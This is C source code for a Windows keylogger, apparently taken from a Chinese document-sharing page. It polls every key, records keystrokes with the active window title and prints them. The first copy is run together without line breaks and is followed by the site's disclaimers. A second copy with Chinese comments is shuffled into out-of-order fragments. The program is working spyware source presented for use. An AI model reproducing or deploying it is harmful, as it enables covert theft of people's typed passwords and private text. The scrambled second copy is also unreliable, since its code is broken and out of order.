Other Keys char *UpperCase[]={"b","e","[ESC]","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]","[F10]","[F11]","[F12]","~","!","@","#","$","%","^","&","*","(","_","+","[TAB]","Q","W","E","R","T","Y","U","I","O","P","{","}","A","S","D","F","G","H","J","K","L",":","\"","Z","X","C","V","B","N","M","<",">",".?","|", "[CTRL]", "[WIN]"," ","[WIN]","[Print Screen]", "[Scroll Lock]","[Insert]","[Home]","[PageUp]","[Del]","[End]","[PageDown]","[Left]","[Up]","[Right]","[Down]","[Num Lock]","/","*","-","+","0","1","2","3","4","5","6","7","8","9",".",};// Ascii Keys,Forget About It int SpecialKeys[]={8,13,27,112,113,114,115,116,117,118,119,120,121,122,192, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48, 189, 187, 9, 81, 87, 69, 82, 84, 89, 85, 73, 79, 80, 219, 221, 65, 83, 68, 70, 71, 72, 74, 75, 76, 186, 222, 90, 88, 67, 86, 66, 78,188,190,191,220,17,91,32,92,44,145,45,36,33,46,35,34,37,38,39,40,144,111,106,109,107,96,97,98,99,100,101,102,103,104,105,110,};HWND PreviousFocus=NULL;// End Of Data// Function ProtoType Declaration//----------------------------------------------------------------------BOOL IsWindowsFocusChange();BOOL KeyLogger();//----------------------------------------------------------------------// End Of Fucntion ProtoType Declaration// Main Functionint main(){KeyLogger(); // Run The Keyloggerreturn 0; // The Program Quit}// End Of Main//-------------------------------------------------------------------------// Purpose: To Check The Active Windows Title// Return Type: Boolean// Parameters: NULL//-------------------------------------------------------------------------BOOL IsWindowsFocusChange(){HWND hFocus = GetForegroundWindow(); // Retrieve The Active Windows's FocusBOOL ReturnFlag = FALSE; // Declare The Return Flagif (hFocus != PreviousFocus) // The Active Windows Has Change{PreviousFocus = hFocus; // Save The Old Active Windos Focusint WinLeng = GetWindowTextLength(hFocus); // Get The Active Windows's Caption's Lengthchar *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2)); // Allocate Memory For The CaptionGetWindowText(hFocus,WindowCaption,(WinLeng + 1)); // Retrieve The Active Windows's Captionif (strlen(WindowCaption) > 0) // Really Get The Windows's Caption {printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption); // Display The Active Windows's CaptionReturnFlag=TRUE; // Indicate The Windows's Focus Has Changed}free(WindowCaption); // Free The Allocated Memory}return ReturnFlag; // Return The Flag}// End Of IsWindowsFocusChange Function//-------------------------------------------------------------------------// Purpose: To Manage(Display)The Keys Retrieved From System's Key Buffer// Return Type: Boolean// Parameters: NULL//-------------------------------------------------------------------------BOOL KeyLogger(){int bKstate[256] = {0}; // Declare The Key State Arrayint i,x;char KeyBuffer[600]; // Key Buffer Arrayint state; // Variable To Hode State Of Some Special Key Like CapsLock,Shift And ectint shift; // Variable To Hode State Of Shift Key// Reset The Buffermemset(KeyBuffer,0,sizeof(KeyBuffer));while(TRUE) // Forever Loop Is Taking Place Here{Sleep(8); // Rest For A While,And Avoid Taking 100% CPU Usage.Pretty Important To Add This Line Or The System Gets Fucked UPif (IsWindowsFocusChange()) //Check The Active Windows Title{if (strlen(KeyBuffer) != 0) // Keys Are Pressed{printf("%s\r\n",KeyBuffer); // Display The Keys Pressedmemset(KeyBuffer,0,sizeof(KeyBuffer)); // reset The Buffer}}for(i=0;i<95;i++) // Looping To Check Visual Keys{shift = GetKeyState(VK_SHIFT); // Check Whether Shift Is Pressedx = SpecialKeys[i]; // Match The Keyif (GetAsyncKeyState(x) & 0x8000) // Check Combination Keys{// See Whether CapsLocak Or Shift Is Pressedif (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x< 91))) //Caps Lock And Shift Is Not Pressed{bKstate[x] = 1; //Uppercase Characters A-Z}elseif (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //Caps Lock And Shift Is Pressed{bKstate[x] = 2; //Lowercase a-z}elseif (shift < 0) // Shift Is Pressed{bKstate[x] = 3; //Uppercase Characters A-Z}elsebKstate[x] = 4; //Lowercase a-z}else{if (bKstate[x] != 0) // No Combination Keys Detected{state = bKstate[x]; // Retrieve The Current StatebKstate[x] = 0; // Reset The Current Stateif (x == 8) // Back Space Is Detected{KeyBuffer[strlen(KeyBuffer) - 1] = 0; // One Key Back Thencontinue; // Start A New Loop}elseif (strlen(KeyBuffer) > 550) // Buffer FULL{printf("%s <Buffer Full>",KeyBuffer); // Display The Keys Retrievedmemset(KeyBuffer,0,sizeof(KeyBuffer)); // Reset The Buffercontinue; // Start A New Loop}elseif (x == 13) // Enter Is Detected{if (strlen(KeyBuffer) == 0) // No Other Keys Retrieved But Enter{continue; // Start A New Loop}printf("%s<Enter>\r\n",KeyBuffer); // Retrieve Other Keys With Entermemset(KeyBuffer,0,sizeof(KeyBuffer)); // Display The Keys With Entercontinue; // Start A New Loop}elseif ((state%2) == 1) //Must Be Upper Case Characters{strcat(KeyBuffer,UpperCase[i]); // Store The Key To Key Buffer}elseif ((state%2) == 0) // Must Be Lower Case Characters{strcat(KeyBuffer,LowerCase[i]); // Store The Key To Key Buffer}}}}// End Of For Loop}// End Of While Loopreturn TRUE; // Return To The Caller}// End Of KeyLogger Function// End Of File。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
PreviousFocus = hFocus; // 保存旧活动的 Windos 焦点
int WinLeng = GetWindowTextLength(hFocus); // 获取活动窗口标题的长度
char *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2)); // 给标题分配内存
}
// 主要过程结束
//-------------------------------------------------------------------------
// 目的: 要检查活动窗口标题
// 返回值: 布尔值(Boolean)
// 参数: NULL
//-------------------------------------------------------------------------
"[Right]",
"[Down]",
"[Num Lock]",
"/",
"*",
"-",
"+",
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
".",
};
// 大写字母键 & 其它一些键
char *UpperCase[]={
#include <windows.h>
#include <stdio.h>
// 一些全局变量
// 小写字母键 & 其它的一些键
char *LowerCase[]={
"b",
"e",
"[ESC]",
"[F1]",
"[F2]",
"[F3]",
"[F4]",
"[F5]",
{
bKstate[x] = 1; //大写字母 A-Z
}
else
if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //如果按下了Caps Lock键和Shift键
bKstate[x] = 0; // 重置当前状态
if (x == 8) // 如果检测到删除键
{
KeyBuffer[strlen(KeyBuffer) - 1] = 0; // 一键恢复
continue; // 启动一个新的循环
"[CTRL]",
"[WIN]",
" ",
"[WIN]",
"[Print Screen]",
"[Scroll Lock]",
"[Insert]",
"[Home]",
"[PageUp]",
"[Del]",
"[End]",
"[PageDown]",
"[Left]",
"[UP]",
{
printf("%s\r\n",KeyBuffer); // 显示按下的这个键
memset(KeyBuffer,0,sizeof(KeyBuffer)); // 重置缓冲区
}
}
for(i=0;i<95;i++) // 检查视觉的循环
{
shift = GetKeyState(VK_SHIFT); // 检查是否按下 shift 键
continue; // 开始一个新循环
}
else
if (x == 13) // 如果检测到Enter键
{
if (strlen(KeyBuffer) == 0) // 除Enter键之外没有检测到其它键
// 目的: 管理(显示)检测到的来自系统密钥缓冲区的键
// 返回值: 布尔值(Boolean)
// 参数: NULL
//-------------------------------------------------------------------------
BOOL KeyLogger()
"&",
"*",
"(",
")",
"_",
"+",
"[TAB]",
"Q",
"W",
"E",
"R",
"T",
"Y",
"U",
"I",
"O",
"P",
"{",
"}",
"A",
"S",
"D",
"F",
"G",
"H",
"J",
"K",
"L",
":",
"\"",
188,
190,
191,
220,
17,
91,
32,
92,
44,
145,
45,
36,
33,
46,
35,
34,
37,
38,
39,
40,
144,
111,
106,
109,
107,
96,
97,
98,
99,
100,
101,
102,
103,
104,
}
else
bKstate[x] = 4; //小写字母 a-z
}
else
{
if (bKstate[x] != 0) // 没有检测到的组合键
{
state = bKstate[x]; // 检索当前状态
x = SpecialKeys[i]; // 找到这个键
if (GetAsyncKeyState(x) & 0x8000) // 检查键的组合
{
// 看看CapsLocak或shift键是否按下
if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91))) // 如果没按下Caps Lock键和Shift键
while(TRUE) // 创造一个死循环(无限次获得用户的键盘内容)
{
Sleep(8); // 避免过度占用CPU
if (IsWindowsFocusChange()) //检查活动窗口标题
{
if (strlen(KeyBuffer) != 0) // 如果按下了键
"9",
".",
};
// Ascii码键,忘掉它们
int SpecialKeys[]={
8,
13,
27,
112,
113,
114,
115,
116,
117,
118,
119,
120,
121,
122,
123,
192,
49,
50,
51,
52,
53,
54,
}
else
if (strlen(KeyBuffer) > 550) // 缓冲区满
{
printf("%s <Buffer Full>",KeyBuffer); // 显示键检索
memset(KeyBuffer,0,sizeof(KeyBuffer)); // 重置缓冲区
{
int bKstate[256] = {0}; // 关键声明
int i,x;
char KeyBuffer[600]; // 缓冲区数组
int state; // 记录一些特别的键,像CapsLock,Shift和ect
int shift;
// 重置缓冲区
memset(KeyBuffer,0,sizeof(KeyBuffer));
"t",
"y",